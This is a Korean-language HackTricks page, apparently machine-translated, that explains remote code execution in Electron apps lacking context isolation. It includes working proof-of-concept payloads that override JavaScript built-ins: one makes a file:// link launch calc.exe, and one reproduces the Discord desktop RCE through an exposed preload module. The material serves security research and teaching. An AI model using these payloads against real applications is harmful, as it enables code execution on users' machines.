Electron contextIsolation RCE via preload code

htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

예제 1

https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30에서 가져온 예제

이 코드는 기본 브라우저로 http(s) 링크를 엽니다:

file:///C:/Windows/systemd32/calc.exe와 같은 것을 사용하여 calc를 실행할 수 있지만, SAFE_PROTOCOLS.indexOf가 이를 방지합니다.

따라서 공격자는 XSS 또는 임의의 페이지 탐색을 통해 이 JS 코드를 주입할 수 있습니다:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>

SAFE_PROTOCOLS.indexOf 호출은 항상 1337을 반환하므로, 공격자는 보호를 우회하고 calc를 실행할 수 있습니다. 최종 악용:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

다른 방법으로 프로그램을 실행할 수 있는 방법을 묻지 않고 실행하는 다른 방법에 대한 원본 슬라이드를 확인하십시오.

아마도 코드를 로드하고 실행하는 또 다른 방법은 file://127.0.0.1/electron/rce.jar와 같은 것에 액세스하는 것입니다.

예제 2: Discord 앱 RCE

예제: https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1

preload 스크립트를 확인할 때, Discord가 웹 페이지로 DiscordNative.nativeModules.requireModule('MODULE-NAME')를 통해 호출할 수 있는 허용된 모듈을 노출시킨다는 것을 발견했습니다. 여기서 child_process 모듈과 같이 RCE에 직접 사용할 수 있는 모듈을 사용할 수 없었지만, 내장 JavaScript 메서드를 재정의하고 노출된 모듈의 실행을 방해하여 RCE를 달성할 수 있는 코드를 발견했습니다.

다음은 PoC입니다. RegExp.prototype.testArray.prototype.join을 재정의하면서 "discord_utils" 모듈에서 정의된 getGPUDriverVersions 함수를 호출할 때, 개발 도구에서 calc 애플리케이션이 팝업되는 것을 확인할 수 있었습니다.

RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

getGPUDriverVersions 함수는 다음과 같이 "execa" 라이브러리를 사용하여 프로그램을 실행하려고 시도합니다:

module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}

const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}

return result;
};

일반적으로 _execa_는 nvidiaSmiPath 변수에 지정된 "nvidia-smi.exe"를 실행하려고 시도하지만, RegExp.prototype.testArray.prototype.join이 덮어쓰여진 상태 때문에 인자가 "calc"로 대체됩니다. 구체적으로, 이 인자는 다음 두 부분을 변경함으로써 대체됩니다.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

Last updated